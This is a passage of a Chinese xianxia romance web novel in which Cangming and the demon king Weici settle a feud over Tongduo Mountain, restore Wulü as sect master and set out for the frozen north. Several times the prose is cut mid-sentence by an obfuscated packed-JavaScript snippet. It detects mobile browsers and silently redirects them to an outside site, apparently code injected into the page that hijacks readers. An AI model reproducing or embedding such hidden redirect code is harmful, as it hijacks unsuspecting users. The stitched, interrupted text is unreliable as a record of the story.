天心沭不知不觉松开了手,蹲了下来。老鬼莲这下真的死了,死在了李弦真手里。李弦真被副将控制着,还在喃喃自语:“杀了他,杀了他……” 副将一会儿大喊老爷,一会儿大喊小姐,一会儿又问天心沭:“大王,这下可怎么是好?” 天心沭埋头说道:“弦真屿。” 副将大声说:“是!”便一手拉着李弦真,一手捡起老鬼莲的尸身。苍名长剑一挥,撤去法阵,说:“你走吧。” 天心沭仿佛未闻,阴风四起,遍山风霜雨雪。副将见她不动,只得传呼军团,命他们取马车来。 几个小兵抬着一辆破败马车小跑过来:“启禀副将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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未辞的眼神冷了下来:“将军,不是说好,解决老鬼莲以后,就随我隐居山林,不再插手是是非非吗?” “是啊,是这样。”苍名心虚地瞟向一边,搪塞道,“不过,还要去搜查老鬼莲的窝点,看看还有没有活人……” 未辞逼近到她面前,低头说:“我已经派人去办了,这种小事,就不必让将军自己去做了吧?” 苍名又说:“那,未央冠的线索……” 以未辞为中心,方圆几尺之内的气压降到冰点。他一手揽过苍名的腰,把她禁锢在臂弯中,一手抬起她的下巴,迫使她看着自己的眼睛。 苍名只得装作不知道自己做错了什么,眨着水光盈盈的眼睛,做出委屈而无辜的样子说:“未辞哥哥,你这样我很害怕啊。” “我想把你藏在一个安全的地方,我不能再失去你一次。”未辞放软了声音,耐心地对苍名耳语道,“你明白的,苍苍。” 苍名的手指轻轻点上未辞的嘴唇,使得他恍惚了一下。苍名戒备地转头看向远处:“山里有人,活人。” 伴随着叮叮咣咣的响动,有人踏月而来,打破了铜铎山的安宁。 52. 铜铎落烟霞 苍名正疑惑地说:“好熟悉的响动……”就看见对面山峰上远远现出两个人影。 这两个人的走姿十分奇特,仿佛非要重叠在一起,同手同脚地往前迈步,一副亲兄热弟的样子。 再走近点,发现原来是一个人背着另一个人。 待他们翻上这座山,才终于看出来,那是钟无期后背上绑着提线木偶,叮咣乱响地徒步进山。 苍名站在开阔的半山,居高临下地看着钟无期和他忠实的随从。未辞抱起手臂,闷闷不乐道:“偏偏这个时候回来,真是扰乱别人的正事。” 钟无期五感混浊不清,又爬得直喘粗气,一直到走上这片山坡,才猛地发现面前站了两个人。 “呔!”钟无期大喊一声,指着苍名叫道,“你这贼婆,还不快把我的马车还来!” “什么马车?”苍名一愣,随即想起副将找来的破烂马车,差点笑了出来。 未辞冰冷地看着钟无期:“收回你的手指。” 钟无期噌地一下收回胳膊,生怕手指被乱刀剁掉。他双手背后,不依不饶地哭叫道:“仙要杀人啦……丧门星抢了我派师尊的祖传马车啦……” 苍名手执长剑,踏着青草款款地走向他,言简意赅地问:“你有钱么?” 未辞:“?” 钟无期立刻满地打滚,一边被山上的乱石和后背的木偶硌得嗷嗷叫唤,一边控诉道:“仙要抢钱了……” 苍名一剑挑开他的荷包,剑尖的冰冷触感激得他一哆嗦。钟无期像石像一样僵在原地,举起双手。 他背后的那个提线木偶,下巴还在一开一合地唱着双簧:“仙人,我劝你不要滥杀凡人,会被治罪的……” 用剑尖翻遍了钟无期浑身上下,除了一把借条以外,别无他物。苍名收回宝剑,冷冷地说:“你根本没钱收回铜铎山。我将从那青面鬼手里买下铜铎山,从此以后你与铜铎派毫无瓜葛,休想再进山中。还不快滚!” “呸!”钟无期顿时忘了怕死了,“我是正统师尊,凭什么将我逐出师门?你说逐出就逐出了?” 未辞哼了一声:“蠢货。” 苍名学着他的声调说:“蠢货。” 两人无需对视,都各自抿嘴一笑。苍名从贴身暗袋中取出铜铎山地契,笑嘻嘻地问钟无期:“你说你是铜铎派师尊?那这东西怎么会在我手里?” 钟无期的瞳孔,因为震惊和恐惧而缩小了。他终于明白过来,自己已经没有任何字据,来彰显铜铎派现任师尊的身份。 嘣地一声,钟无期像弹到空中的一条大鲤子鱼,落地时妄图抱住苍名的腿:“土匪!” 苍名嫌弃地向后轻轻跃开,未辞一脚踩到他后背上,眉眼阴翳,目光不善。苍名痛斥道:“若你当年没有鼓动一众弟子争夺未央冠,铜铎派何至于凋零至此!” 钟无期吐着嘴里的黑血,嘎嘎笑了起来:“还不是要感谢我的好弟弟无律嘛。” 苍名的脸色顿时变了。 钟无期不知死活地说道:“要不是无律出卖你的行踪,我还不知道要去哪找你呢,想抢未央冠都没处抢呀。” 未辞看了一眼苍名,似乎对当年的传闻了如指掌。他低声宽慰道:“将军,那废物也许是脑子不好,才说出了你的行踪。” 当年苍名背负罪名后,四处躲避那群热血弟子的追杀,一度曾在穷乡僻壤隐姓埋名,开了一间道士捉鬼小店。此为抓鬼姐这块招牌的雏形。 而无律这时对苍名尚存一丝信任,念及发小情谊,隔三差五会来到捉鬼小店里帮忙,也会带来一些外界的情报。 某日,苍名正在店里修理她那张打满补丁的面具,忽然看见门外闪过两个鬼影。一个鬼影对另一个说:“喂,你跑快点,一会儿那小孩子走远了,就吃不到了。” 苍名当时吃了一惊,跃到门边时,只看见两个缩成小点的背影。可巧这时无律挑着两桶水过来了,口中嚷嚷着:“苍姐,你要不然去河里洗澡算了,怎么用水用得这么快啊?” 苍名便匆匆对他说:“我要去抓鬼,你帮我看一下门。”就顺着两个鬼飘走的方向追去了。可惜,最后没等追上两个吃人鬼,就被浩浩荡荡赶来的铜铎派弟子包围了。领头的弟子说,钟无律连日卧底,忍辱负重,今日终于抓住时机,将苍名的行踪奉上。 年代久远,多想无益,苍名长叹一声,对钟无期说:“想来他是受了你的胁迫,才不得已交待出我的踪迹。” 钟无期被踩得快要闭气了,还拼命仰着脖子说:“什么胁迫,分明是他自己说,丧门星往东边去追两个吃人的鬼了……” “慢着!”苍名忽然眉心一皱,接着,眼睛却越来越亮了,“我当时并没说我去追什么样的鬼……更没说是有两个鬼!” “哦?”未辞一挑眉毛,很有眼色地放了钟无期,退到一边看热闹,把场面交给苍名处置。 苍名蹲下来逼视着钟无期,后者因心虚而四处转头。苍名说:“是你派了两个小鬼,将我引诱出去的。” 钟无期梗着脖子质问:“你有什么证据?” 苍名不做理会,盯着他继续说:“这哪里是我被你们找到……分明是你将我引入你们的包围!” “那又怎样?”钟无期露出一口森森的白牙,“不过是一招离间计,好弟弟无律就跟你分道扬镳近十年……你们这些满口亲情伦理的人,也不过如此!” “?”苍名怒极反笑,懒得和他胡搅蛮缠。她站起身来,徐徐回望,铜铎山的数座山峰中,最高的一座直抵云端。在山顶的青翠树木间,隐藏着铜铎派的道观。 华年似水,无数感慨涌上心头。她看向未辞,未辞也正看着她。苍名轻声说:“不是无律。” “恩。”未辞微微一笑,点头说,“那么,以后我不再想要打他便是。” 钟无期忽然灵光乍现,骄傲地吼道:“本座精通山里的奇门遁甲法阵,这就是我尊贵的铜铎山掌门的证据!本座即刻就要回山顶去,弟子们还在等着本座……” 苍名一剑挥开万千往事,凌空探月,转身飞转,默念法诀,冰刃斜斜向下斩去。这一次流风回雪,用尽了十成的功力,满山的落叶都被剑气震荡得飞上夜空,久久回旋,最后化为无数黄符,一起无声地炸开,仿佛盛大的烟花。 铜铎山下了一场黄符的雨。细碎的金色纸屑无穷无尽地落下来,阻拦了每一条进山的路。黄符碎片如此之多,以至于这场雨能够跨越数十年之久。 未辞抬头望着漫空的金丝,呼吸都停滞了一瞬。然后他看向苍名,面如朗月,大放光华:“将军,很美。” 苍名伸出一只手,未辞紧紧地握住。两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337097|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人执手共看黄符飞雨,此时晚风吹起纷纷花瓣如雪,与金色碎屑交织回旋,山路美不胜收。 钟无期落了一身的黄符碎片,忽然像怪虫一般扭动抽搐起来,浑身乱抓乱挠:“怎么回事!” 苍名淡淡地瞥了他一眼。他已经将自己身上抓得血痕累累,疯也似的尖叫道:“你这妖妇!啊!符里……符里有毒!” “黄符被我施了最简单的守门咒,不知神圣仙人能不能解开了。”苍名背着手,和蔼地说道,“非本派正统弟子,必定无法穿过山里的黄符雨阵、抵达山巅的铜铎道观。” 钟无期恨得眼睛血红,却耐不住浑身的痛苦,最终还是转身摸爬滚打地逃下山去了。 未辞挑起一边眉毛,含笑说道:“将军还是那么调皮。” 苍名双手放在身后,装出一副什么也没做的样子,明知故问:“这黄符飞雨,不好吗?这有什么不对吗?” “将军神力无边,路见不平,计策巧妙,美感十足,实在是一等一的品位格调。”未辞轻轻拍手赞叹道,“现在,是不是要去找那个债主鬼赎山?” 苍名一头扎进未辞的怀抱中,额头抵着他的肩膀,说:“不急,你看,今夜真是美不胜收。” 未辞一手扣在她的腰间,一把将她打横抱起来。他的呼吸有些粗重,额头抵着她的鬓边,用低不可闻的声音说:“我想,现在就带你回去。”火一样的热气,滚滚地从他身上漫过来。 苍名急忙说:“那,我们还是去找债主鬼吧。” “……” 债主青鬼再次被苍名传唤出来时,几乎已经要破口大骂:“有完没完了!乒乒乓乓,乒乒乓乓,老子这一日就没睡个囫囵觉!” 苍名在他面前一站,郑重宣布:“从你手里抢山的那个大王,被我赶跑了。往后,这山仍旧属于你。” “操。”那鬼一拍大腿,喜上眉梢,“道士奶奶,你原来是帮我的啊!” “但是,”苍名笑微微地说,“我要从你手里赎回来。” “操。”那鬼再次一拍大腿,“道士姑奶奶,我舍不得这块肥肉啊。” 未辞哼了一声,那鬼立刻忌惮地退后:“干什么,谈不拢就要派打手不成?” 苍名好笑地说:“他才懒得打你呢。” 越是这样,青面鬼越是提心吊胆,不敢轻信,最后只得答应苍名用一卷银票付清,地契上的抵押一笔勾销。 而银票,当然是苍名厚着脸皮向未辞借的,还正正经经地开了张欠条,写明若干年内必定抓鬼赚钱偿还云云。 未辞若无其事地收起欠条,微笑着说:“有了一纸契约,将军就不能随便跑走了。” 苍名奇怪地点头说:“那是自然,我怎么会跑呢?” “没什么。”未辞勾起一侧唇角,双手环住她的腰,“回去告诉音律仙?” 苍名豪迈地一挥手,说:“诶,不必。既然我替他解决了,那就不必让他知道了。”反正,无律的客栈也赚不了几个钱。 一替朋友出头,苍名满面红光,精神焕发,一改连日以来的颓废沉重。 未辞目光闪闪地看着她:“那么,将军是不是该请我吃那顿饭了?” “这是自然自然。妖王爱吃什么,今天我请客。”苍名抬头一笑,拉着他的手,转身向山外走去。 53. 卫冕音律仙 铜铎山中最高的山峰,是一面直入云端的绝壁。铜铎派的道观,就修筑在绝壁之巅。铜铎派在山顶遍植灵木,道观隐藏于茂林云雾之中,与山下的俗世几近隔绝。 不同于此地其余山峰的郁郁葱葱,这一面绝壁拔地而起,青黑色石面油润光滑,寸草不生,如同垂直的墙壁,又如一块清透的美玉,凡人难以攀爬而上。因此,即便有外敌能破解奇门易术、一路行进至此峰下,也轻易无法登上山峰、长驱直入道观之中。 未辞抬头看了看云遮雾绕的石壁,吹了声口哨:“将军带我来这里,是要吃什么?” 苍名一手遮着清晨的阳光,一手指向半山处:“看!” 未辞顺着她手指方向望去,一间小小的木屋凭空挂在石壁上,足有数百丈之高,只剩一个模糊的小点。 “这座半山小店,”苍名神色庄严,充满怀念之情,“就是铜铎派弟子常去开小灶的饭馆!” “……”未辞半真半假地抱怨道,“怎么在这么高的地方,将军,我上不去呢。” “铜铎派以击打节奏做法术,对臂力要求颇高。”苍名解释道,“这饭馆虽然挂在悬崖峭壁上,于一众弟子来说却是上下自如。” “原来如此,铜铎派弟子像一群猴子一样攀岩走壁。”未辞从容地做出一副恍然大悟的样子。 “……”苍名觉得他像在逗小孩子,却又说不上哪里不对,只好干咳一声,豪情万丈地一挥手,“今日,本将军就在这里设宴款待你!” 说罢,苍名抛出冰刃宝剑,自己跃了上去,再向未辞伸出手。未辞握着她的手,一步登上长剑,柔弱地抱住了她的腰:“将军,我恐高。” 宝剑嗖嗖向上腾飞,苍名手掐法决,侧过头对未辞说:“别怕,不要向下看就好啦。” 未辞向下看了一眼,把脸埋在她头上的海棠晚樱之间,顺从地说:“恩,有将军在,我怎么会怕呢。” 苍名总觉得他在偷笑,一回头时,却只见一张清冽无辜的脸。 冰刃利落地停在木屋门前。不等苍名伸手去敲门,门板吱呀一声向里打开了。屋内排着几张桌椅板凳,一个白胡子老翁坐在柜台后面,对两人点了点头。 苍名欣喜地说:“大叔,您还在这店里啊!” 那老翁爱理不理地哼了一声,就转身进了后厨。苍名和未辞跳进屋内,收剑关门,选了临窗的雅座。 窗外流云如烟,风声呼啸,木屋微微摇晃。苍名托着腮望着山下,深不见底。 未辞说:“将军似乎对这里很熟悉。” 苍名摆手道:“嗨,当年这里总是高朋满座,饮酒猜拳,好不热闹。如今真是冷清极了。” 那老翁再出来时,端来几碟小菜、一盘热炒、一大碗鲜汤,又送上一壶暖好的桂花酒,便自行去后厨回避了。 未辞倒了酒,递给苍名一杯。两人相视一笑,碰了一下杯子。苍名一饮而尽,面如春花,未辞一眨不眨地看着,低声说:“你从前也是这么爱喝桂花酒。” 一连五杯下肚,苍名容光焕发,飘飘欲仙,一骨碌坐到了对面未辞的旁边,非要和他挤一张椅子。挤着挤着,就坐到了未辞的腿上。 未辞双手护住她柔软的腰身和纤薄的后背,任由她在自己猴在自己身上。他的耳朵红得像燃烧一样,身上也烫得像燃烧一样。 苍名抬头对他嘿嘿一笑,又想伸手去拿酒,被他一把按住。他低沉地喘息着,说:“苍苍,我们回家去。” “把这些都吃完,都吃完我们就走了。”苍名双目炯炯有神,话变得格外多,“你怎么一杯都没喝完?” 他没有回答,一挺腰抱着苍名站了起来,随手留下一锭银子,便意欲飘然离去。苍名对着他的耳朵轻轻吹气,问道:“还热吗?”未辞顿时僵住了。 不等他使出瞬移回府的神技,木屋的门板砰地一声被踢开。 无律拄着拐棍走进来,无限感慨地环顾四周:“久违了,真是……真是想不到……?” 未辞抱着半醉的苍名,面色不善地看着他。 无律愣了半天,张口结舌,虚弱地问道:“你们在干什么?” 未辞满脸寒冰,头顶恨不得要冒出黑烟。苍名转头看见无律,大喊一声:“好啊!你小子过去可没少逃了晚功来这里改善伙食!” “……” “……” 喝过了白胡子老翁端来的解酒汤之后,苍名眼中的万千缱绻终于散去,重新清澈透亮起来。未辞却看起来十分想杀人。 无律双手握着老翁的手,不住地摇晃:“老伯,这次见到您仍旧守着半山小店,真叫人怀念青葱岁月。” 老翁哼了一声。 无律又说:“在下呢,在中原逢焉城开了家客栈,他日若老伯登门造访,一定赠您一壶好酒,无论打尖还是住宿,全都给您按照特惠价格!具体地址是……” 老翁又哼了一声。 苍名和未辞又坐回桌边。未辞一扬脖灌了一口酒,独自生气了闷气。无律实相地坐在旁边一桌,尽量躲开妖王。 苍名问:“你怎么突然回来了?” 无律一边旋风般地吸入饭菜,一边含混不清地说:“我的那些线人,纷纷听到些风声,说未央冠在你手里?我就顺着定位符最后的游丝方向,过来看看。” 苍名点头说:“那可真是耽误你客栈做生意了。” 无律放下筷子,猛地拍案说:“谁能想到竟然是在铜铎山!你知道我这次回来,有多么心潮澎湃、思绪浮翩、忧郁伤怀么!” 未辞冷冷地哼了一声:“你来得倒是时候,老鬼莲已经被料理了,你出现了。” 苍名便将老鬼莲与花怡等的来龙去脉,一五一十讲给无律,直听得他瞪眼唏嘘。 “想不到老鬼莲是个破布娃娃,脑袋又是废纸,难怪怕水又怕火。”无律摇头感叹了一番,又话锋一转,“你猜我进山时,碰见谁了。” 苍名捧场地问:“不知是谁?” “我他娘的,碰到钟无期出山!”无律重重一顿拐棍,木屋都晃了几晃,“这一次,我终于教训了他!” “太好了!”苍名顿感欣慰,殷切地问,“你怎么做的?” “我,从怀中掏出几个梆硬的烧饼,照着他的脑门就是一顿打!”无律按耐不住得意的神色,铿锵有力地说,“我要让他知道,我也是不好惹的!” “……” “对了,进山的路上怎地一直在飘金丝雨,似乎是什么黄符?”无律想起一事,“不知是谁降的?” 苍名掏出地契交给他:“哦,忘了说了,从此你就是铜铎派新任掌门了,那道符雨,是我送你的门帘。” 无律嘴巴微张,接过地契翻来覆去看了一会儿,眼里逐渐熠熠生辉:“这,这,苍姐,多少钱啊?我要还你钱了呜呜呜……” 苍名急忙说:“你直接还给未辞好了。” 未辞看也不看旁人,只是看着苍名,温存地笑了一下。 苍名又说:“当年,不是你出卖我的行踪,是我听信了钟无期的奸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346842|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计,误会你了。” 无律刚接受一件大事,又迎来另一件大事,终于神经不堪刺激,情绪激动,靠在椅背上缓了半天,才说:“想不到,我也有沉冤得雪的一天。希声刚与我阔别重逢时,可是因为我当叛徒这事,和我大打出手。” “希声?”苍名一愣。无律说:“是啊,那时我也以为她是叛徒,也跟她打得够呛。可是后来她告诉我,她当年是想假装带队去捉你,实际偷偷让你逃走的。” “希声……”苍名一下说不出话了。她想起希声来捉拿她的那天,的确一反常态,不停眨眼,还趁乱扔了一张黄符过来。可惜她就地打滚,像条泥鳅一样逃来窜去,钻到不闻派的坐骑堆里扔爆竹,惊起一群驴子狂奔。 无律在这时说:“她说,她曾给你扔了张护身符,上面写满小字,让你去她安排好的住处躲一躲呢。” 这一瞬间,苍名的心头豁然光明。长久以来压在心里的巨石,突然化为乌有。她双手捂住脸,长长地舒了口气,觉得十几年前的时光又回来了,幸而三人的心并未完全老去。 未辞的脸上浮现出笑意,一侧梨涡若隐若现。他揽住苍名的肩,低声说:“恭喜了,将军。” 苍名半哭半笑地恩了一声,感受着未辞温热的大手传来的力度,忽然心头一紧。未辞诞生于替命书中,父母含恨早逝,直至现在,已过千年,他一人孤零零地忍受过多少漫长黑夜里 想到这里,苍名猛地用两只手抓住他的一只大手,放到自己跳动着的心脏上:“未辞,以后我会好好疼爱你的。” 无律:“?” 未辞看懂了她跳跃不羁的想法,瞬息间眼中满是柔情旖旎。很快,他的手颤了一下,转开脸沙哑地说:“那就,有劳将军了。” 无律坐也不是,站也不是,于是拄着拐棍往门外走去:“不跟你们说了,我还要顺便去看看大伯的牌位,唉……” 苍名起身说:“我们也走,一起去山顶见见派中弟子如何?” 于是苍名和未辞御剑,无律独自登山,即使闭上眼都对山路了然于心,仿佛从未离开。 不多时,三人踏上山顶,满目苍翠。无律领着他们三绕两绕,破解秘门,铜铎派的道观赫然出现在眼前。一问才得知,如今派中仅有三个徒弟。一个徒弟看起来呆呆的,一个看起来懒洋洋的,还有一个弱不禁风。 无律头痛地看着他们三个,问:“这几天山中有妖鬼作乱,你们可知道?” 那个懒洋洋的徒弟,懒洋洋地答道:“我们在山顶听到了打斗声,可是也懒得下去。” “……” 苍名清清嗓子,宣布道:“这位,是音律仙无律,你们必定有所耳闻,现今他已是贵派的新一代师尊。” 那三个徒弟十分随意,似乎觉得无所谓,总比神圣仙人强。三人取出自己的法宝,敲击节奏,以示庆祝。疾风随节奏迸发而出,卷起了满地的花瓣,直洒向飘渺的云海。而钟无期从此带着提线木偶四海流浪,泯然众人,再无音讯。 无律要留下修缮破败的道观、招募新鲜的徒弟,苍名和未辞先行告辞,决定返回古董店。 未辞轻轻抱起苍名,低声说:“开始了。”周围的石光山色飞速旋转。天地扭曲,万物割裂重聚,在耀眼的强光中化为银龙,银龙裹住两人,化为通向古楼的隧道。夺目光芒如月色映照水银,苍名将脸埋在他颈间,他的声音近在耳边:“是不是太快了?要不要,慢一点?” 苍名睁开眼睛,古楼鸟语花香,人间已经是春天。 54. 夜深风月事 古楼屋顶上,苍名和未辞并肩而坐。晚风轻抚游人面,远山淡影,一江春月。烟囱里还在接二连三地冒出各式点心小菜,又有温好的陈年佳酿一壶一壶地传送上来。 苍名轻轻靠在未辞肩膀上,心里想着不知希声在老家如何,又不知无律是否已经召集天下英雄、筹备弟子选拔盛会。她的指尖无意识地拨弄着他的衣领。未辞目视前方,神色清冷,大义凛然地说:“将军想脱我的衣服,便动手好了。” 如蜻蜓点水一般,苍名的手指点上他的喉结,轻轻向下滑去,若即若离地经过脖子,锁骨,胸膛……未辞一把抓住滑到小腹的手,转身逼近过来,嘴唇冷冷地抿着,眼里却已然熊熊燃烧。侵略性的气息从他身上散发出来,混合着清淡的松针竹叶的味道。 苍名不由自主地向后仰去,跪坐起来才勉强维持着平衡。坚硬的躯体顶上来,她只装作一副浑然不知的样子,睁着大眼迷迷濛濛地看着他,嘴里弱弱地说道:“好了,我不和你闹了,会被看见的。” “总是这样。”未辞一手托住她的头,一只膝盖顶开她的双腿,“撩拨一下,就急着躲么?” 苍名大着胆子直言不讳道:“对你有用就行。” “这么乖巧的脸,这么顽皮的心。”未辞在她耳边喘息了一声,“但我却心甘情愿。” 彩云遮月,夜色忽然暗了下来。未辞用手指抚摸过苍名脸颊上的一层潮红,便低头吻了下来,一手钳制着她的腰,一手环过她的后背,牢牢抓住她的手臂。 刚能恢复呼吸,苍名就含混地抗议道:“好疼,你的手劲太重了。”未辞在她耳边幽幽说道:“怎么不叫我哥哥。” 待到月亮再次破云而出,照得四下一片清亮,苍名已经瘫软在未辞胸前,双手无力地按在他身上。未辞跪在她面前,垂头看着怀中的人,低声说道:“别害怕我。我不会……我要等你愿意……还要与你办一场日月同鉴的大婚。”因为极度的隐忍和克制,他的嗓音沙哑醇厚,像表面微微粗粝的冰凌一样。 苍名恩了一声,把脸埋在他衣襟上,听着他强有力的心跳声。未辞起身单手抱起苍名,回到春夜古楼中。楼中依旧是山川旷野,星月当空。流泉飞瀑,春花满树,空中的每一层石台和每一座石像被装点得花团锦簇,看得苍名险些笑出来。 妖王从身后环上来,郁闷地说:“怎么,不好看吗?是我特地让小妖们布置的。” 苍名刚要说话,忽然东北边亮如白昼。从遥远的地方,升起无数赤橙色焰火,每隔若干距离便腾起一簇,一站一站往中原方向推进。上天入地,仿佛直通银河的火树。“是道士发出的信号!”苍名用手肘重重怼了未辞的肋骨一下,“是从……关外发出来的!” 关外火光冲天,信号久久没有熄灭。苍名数着焰火的长短排列,发现大事不好:“是请求援助的信号,关外……出事了!”未辞一手拉住她的手腕,眼神变得十分危险,沉沉地警告道:“不要去。” “可是,那里是我的家啊。”苍名望向那里,眼中全是过去的影子,“也是我们最初遇见的地方,你记得吗?” “我当然记得。否则,你以为我这一千年,是靠着什么度过的?”未辞有些气恼,声音都微微发颤。 “我不是那个意思……”苍名急忙安抚性地捧住他的脸,后悔地说,“我知道你一直记得。是我忘了,害得你一直等我。” “老鬼莲一事已经平息,按照约定,你该留在古楼中了。”未辞一挥手,林中出现一座小屋。未辞不由分说地将她送进去,大有说一不二的气势:“今晚,就在这里休息。” “喂,我还没嫁给你呢,我不住这里!”苍名像条鲤鱼一样扭动耍赖,极力挣脱,胡言乱语,神不知鬼不觉地转移着他的注意力,“况且,明明是我要娶你,你将来要随我住息园三坊的……” 未辞的冰霜脸略微有些松动,一半想笑,一半佯装怒意:“不早了,快睡。”苍名抱怨道:“未辞哥哥,你好凶啊。”未辞叹了一口气,轻轻推着她送到床边,便转身悠游地离去,背影自有一派难以言明的笃定和魅惑。 屋内精致清幽,各式物件一应俱全。屋门一关,苍名立刻快步跑到窗前,卷帘一看,未辞席地靠坐在不远处的树下,闭眼悠哉地吹着口哨。 感受到苍名愤懑的目光,他睁开一只眼睛凉凉地说道:“将军睡吧,属下会守夜的。” 苍名关上窗,稍加思索,脱下外袍,散开长发,懒洋洋地走出房门,款款向着温泉走去。未辞抬眼一看,立刻移开目光,面红耳赤道:“苍苍,你做什么。” “我每日若是不洗个热水澡,是会睡不好的。”苍名蹲在水边,若无其事地解释道。 未辞依旧别着脸,嗯了一声:“是我疏忽,忘了给你送热水过去,你回房中等着就好。” 苍名用手划着水,作势要跳水:“我喜欢温泉,我就在这里洗了。” 未辞终于一骨碌站起来,嘀嘀咕咕念叨着:“真拿你没办法。”说着就向树林外回避了。 等了一会儿,再听不见脚步声,四野寂静如画。苍名悄悄爬到绿树掩映的后门,无声无息地开门逃了出去。 东北方向的焰火信号已经停息。从这一晚开始,不知要有多少道士日夜兼程赶往关外。 苍名怀抱着冰刃宝剑,不敢在古楼近处御剑飞行,只得在树木掩映下飞速奔跑。跑出几里地,她气喘吁吁地传音道:“未辞,我跑啦,你不要担心,我只是去拯救故土,顺便干一票大的,好积攒功德,位列仙班,而后成神……” 话还没说完,她猛地刹住脚步。在她的正前方,未辞背靠一棵大树,随意地抄手而立,一只脚向后点在树干上,正歪头看着她。 “……”苍名披头散发地站住了。 未辞招手说:“过来。” 苍名强硬地说:“我怎么知道你是本尊还是冒充的?我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351573|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方便过去!” 未辞无奈地一步一步走到她面前,伸手托起她的下巴,拇指轻轻将她胡乱涂上的传音唇脂抹匀。 苍名抬着头,呆呆地看着他。他问道:“北地有什么?” “有,宇宙终极奥义?”苍名试探地答道。 “……”未辞忧伤而专注地看着她,让她不敢抬头再看。 两人相对良久,未辞无言地把扔在古楼里的海蓝色外袍披在她身上,又将手绕到她脑后为她束起头发,戴回发冠。就在这微妙而躁动不安的气氛里,苍名身后突然传来一声吼叫:“鬼克星!” “正是在下!”苍名急忙转身大声应答,只当是谁家又要抓鬼,也好让自己多攒些银子填补铜铎山的欠债。 一个大红衣衫的人匆匆赶过来,竟是多日不曾谋面的魏羌。苍名又惊又喜,拍着他的肩膀说:“是你啊,我都快要认不出你的声音了。” 魏羌神色凝重:“鬼克星,我随奏潮仙回到她东海边的故居,一连数日医治病患,药方换了十几种,但是……” 苍名的心提了起来。果然听魏羌说道:“但是奏潮仙的老父亲还是驾鹤西去了,唉。” 苍名垂下了头,感到人生苦短,生来即是向着悲凉而去。不知希声是否会从此放下我执,无波无澜?如果是这样,那么永生难道是一种惩罚? 未辞轻轻把手放在她肩膀上,驱散了她的混乱遐想。她问魏羌:“希声她,怎么样了。” “她,料理了丧事,在陪老母亲。”魏羌眉头一皱,“而我,要回关外去!” 苍名点头道:“想必你也看见了关外传来的信号。” “不知关外出了什么事,我爹他们有没有受到牵连?”魏羌忧心忡忡,归心似箭,“鬼克星,我先不聊了,我要赶快回去看看。” 苍名脱口而出:“正好,我们一起走。”说完,她小心地看了一眼未辞。未辞的脸上没有任何表情,只是周围的气温骤降到冰点。 “那么我们立即动身!”魏羌看了看未辞,不明就里,好心劝解道,“若这次真是有剿鬼行动,鬼克星说不定能借此积德成神,其实是大好事一桩呀。” 作为书妖出身的未辞,脸色更加冰冷了。 苍名连忙说:“即使成神,我也不和你分开。”她勾着未辞的小指,挠了挠他的掌心。那是两人青梅竹马时的习惯。 未辞终于还是仰天长叹一声,对苍名说:“若成神是能让你最开心的事,那么,我会全力相助。” 苍名突然觉得有些想哭,低声说:“对不起,是我太任性了,我只是想为父母和师祖而战,也为……天下苍生而战。” 未辞拿起她的手,说:“那么,我们出发吧。”天地间又一次分裂扭曲,未辞带着她无限接近着关外故地,魏羌被扔在了后面,不知他将如何前往。 待到传送二人的冰龙隧道消失,苍名睁开眼睛,环顾四周,突然一阵心惊。 55. 北原三界乱 中原已经是草长莺飞,春意盎然,关外却仍旧白雪皑皑,寒风料峭。举目四望,雪原无尽,树木枯瘦,只有越冬松树长青。一片破败的亭台楼阁被厚重积雪覆盖,仿佛是被遗弃在这天涯尽头。 苍名恍如隔世,喃喃自语道:“忘仙源。”未辞带她来到的地方,正是忘仙源旧址。 未辞打了个响指,变出一件斗篷披在她身上。两人踏着没过脚踝的积雪,深一脚浅一脚地走着。走出很远一段路,终于见到一段城墙。苍名激动不已,摇着未辞的手臂说:“是你与我初逢的地方!”未辞柔和地看着她,嗯了一声。 踏入城门一看,却是一座空城。彤云密布,大雪纷纷扬扬飘落下来,眼前全是雪片乱飞,看不清远处。未辞说:“再远处,也是人去楼空,没有什么人了。” 苍名只觉得毛骨悚然,不自觉靠近未辞的手臂,问道:“不过十年,关外怎么变成这样了?” 未辞环视着鬼城般的摇曳屋舍,似乎想起千年以前两人一起逛庙会的情景。那时满街的盛况是何等热闹,未辞一手拉着苍名,一手拎着大包小裹,还时常上台比武对诗,赢回些稀奇古怪的小玩意,笑吟吟地拿给苍名玩。 